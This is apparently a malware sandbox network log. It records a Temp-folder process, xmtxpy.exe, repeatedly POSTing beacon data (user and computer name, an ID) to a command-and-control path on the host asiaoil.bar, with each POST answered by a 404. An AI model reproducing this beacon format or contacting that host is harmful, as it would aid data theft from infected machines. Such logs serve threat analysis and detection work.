Feb 10, 2022 10:22:03.955466986 CET	317	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lb9okY1H6vGjyVC1u7%2FrtI1IlQS%2BFDAUyP1p%2FRqqpdW3oHWuKdkbXEj1FlsGoYPfJTBdMWMce2JdGAcisXgmjvWPRjePl3xI2oQ%2BLjS4JVazUAB%2FtUVsenR8M%2BuUug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44555fbc890ee-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.22	49195	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:35.055712938 CET	364	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:35.072159052 CET	364	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:35.142774105 CET	365	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uRm6cbs7qjH2NOHh2tOKIkP%2BdzbOwZXOMBEJgE3gb2LRZ5T9DoyDbWgSAgyAW9SjYweFy2OcxyEn%2BT93qxg4gzWWmZP%2Bi0t5VxRBmaJZLw%2FLRVoZMESNjhIGteoHMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4461928579004-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.22	49196	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:36.072597980 CET	366	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:36.088974953 CET	366	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:36.184967995 CET	367	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xrOr1KSQmX9JZILB3weUMlW6l%2F0jQY3ebDX3HclhX28Mcc%2FxH30ewiGA0h%2B6cIBx8JHVt3F2yuoloaiZkYlnrBJGiKNxRH6q72FSDnO4vOtUB%2F3%2FUP0EEMJM1AusYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4461f7a6a9079-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.22	49197	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:37.120242119 CET	367	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:37.137352943 CET	368	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:37.238821030 CET	368	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RG%2BfeuYDl%2BqDfIJiQqO%2F%2BvdeX%2FsqQOMNdYojKtTw1E0TmD5kZfpZ7nDimmccAbecgCEw4KhPek%2BrNtGEwSzq0DOsMtNFWpBsI22TENldaFbPIU5b5CTiuxOP6VQaaw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446260fb19019-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.22	49198	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:38.172976971 CET	369	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:38.189532995 CET	369	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:38.275609016 CET	370	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:38 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8i3MYQHtfXVP%2F0fASkC1TmdLbF6CiAiraD%2FH44NC0ykl97qHV9jn8MkbKPqY5BdlYRn49S%2F8lYCjj%2FQu3cIXkHTHLxiFgznNR4%2Bp6Kgrrg52L092%2FlGqFymsCMGR0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4462c9e3791fc-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.22	49199	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:39.224649906 CET	371	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:39.242547989 CET	371	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:39.314145088 CET	372	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8IzBsU9ezcfTcYipeA3VQtk7w40pxZ5hjlcKQvqw49ojoP1nGh40I6q6Dyh76z4LCC%2BA20%2Fsg0VifVwdOdSi33A6OvrYN65%2FpXFFW%2FSM0mozc%2B4piSK803pIJT8SEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446333d2791ff-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.22	49200	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:40.420564890 CET	373	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:40.437928915 CET	373	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:40.521979094 CET	374	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9t3R%2F4b%2BnD1kTHMJA2ZVHrmeMMJ3Bd02VhJ1WPbcEvJly%2BkAhl4QMrCDxePymIvRWvfDOjaPHdcP0k0kjEFpUPsz22Xy7Rg%2F6wzikwLkWIzwoyWJkUL5tvQWI96tAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4463aab43920b-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.22	49201	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:41.439397097 CET	375	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:41.455754042 CET	375	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:41.572663069 CET	375	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U73XLOsc6Oe9yZY%2B47E4Oe8aR4QjbykbQwVxWcy4AoCZmzTRfSc4KodkgvxCsNphdTrX0C20cDMAGUY1y%2Fzw8iNzNLGyI2dqsO%2B6Mc%2FCxzGZVmVZz0bSOwNj1s7QeA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446410864918f-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.22	49202	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:42.533999920 CET	376	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:42.550273895 CET	377	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:42.618619919 CET	377	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gufXVp6viiLfqUVAIhTCHjYJOWCjHt2MTTOHWp5%2BFhyL3M%2BbMbx%2BVMYETZElkIaZ%2FIvrsDt5jDpyZjmMZ9o2O%2FwcV9pRsZqOTc1AF0p2Ib213bW35V6pz00NvcCpPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44647eb7b693a-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.22	49203	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:43.544899940 CET	378	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:43.561275959 CET	378	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:43.664395094 CET	379	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yKL07jfvs%2BVU4LY4v4Lf0ZGlr%2FIQtMwEPs3bXhHAZspcC%2BNoewD0Rp%2Bye%2FUTm0R72TSKjFoKvNaY7JUUOQLFHqLgLo%2BRTvtpResbSpFvDqoGUIkATecZSSRbWV5rqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4464e3d16912a-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.22	49204	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:44.584137917 CET	380	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:44.600441933 CET	380	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:44.682432890 CET	381	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YEpekNteQXIJDJauaElbNeLCz0rJIFKhZ7g570xBDVwmYpo12zP6dtthdwoFyYhQ53RMVLKxNG0u7RjPVwRtZkMkV1Qw90wv9Z0CU6vQQlTHweFh1xgcsARiAUxjiQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44654bfd79199-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49169	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:04.920207977 CET	318	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:04.937419891 CET	318	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:05.027216911 CET	318	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WGSy9RBpA4nwv8vPkiC6IlReHDy2beH0Xpr8Jw91%2BmfmRccN%2FYfWCgt%2Fb96BC2i38aPjRgJdSwh7RJOrlqreqeiX8LTLhluVlMMPLsLX%2BVqck485IQfR0ZCBs3Abjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4455ccab45c80-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.22	49205	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:45.641460896 CET	382	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:45.657860994 CET	382	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:45.752800941 CET	383	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vgBF41clmh4ryuHtU9aOlwd5HEGXjVWqgWBKt0N2O3lBaHqKVGyePCSnXUW7Z%2B9ZswG3zzpAggxRL3OI9PhK3b7diqp15dvDHTlhkQ9V7NyyEid0hjMzsNR7GBdvGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4465b4f709186-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.22	49206	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:46.729665995 CET	383	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:46.746081114 CET	384	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:46.816407919 CET	384	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qIeTn8QUGJ4PzoL3khYwIjL17%2BBJiTqpZBu%2Bn6l1sSUiSmu%2FH0zc5lyfpLKOHy9tsuu9Y%2F%2BH47s3hpg5DfFC4zroN87eErlds3zDKfV6u79W6o1WqB%2F6UGbnxHqWFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446621d638fc5-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.22	49207	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:47.737185955 CET	385	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:47.753462076 CET	386	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:47.842878103 CET	386	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6LETH6p%2BXICZC%2BrIHSRQApAEV%2Bdr0iLIW7rBeA%2Fr7Hi4%2Fpf1OlVs9AUjZdSrzw3XtXmW7vu3g0lnMlRgI0IK52z10KSNGVwmWG%2FAp9wtB9EgWL0CS5tO1Mwb6FiG8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446686e9b6945-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.22	49208	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:48.837397099 CET	387	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:48.854139090 CET	387	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:48.933581114 CET	388	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M4V5E6ygM8Zq2gQc6SjFi%2FduljsFbImOHJ2nmf7IuPxW2RhXkT%2B0BhOAD5WjYjJ5QxUVoGAUnhyaY3n4fiulEfle%2F5%2F3JKoNA8quALyniLNaaaxsFzuwruQ92V8j%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4466f4f5c92a2-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.22	49209	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
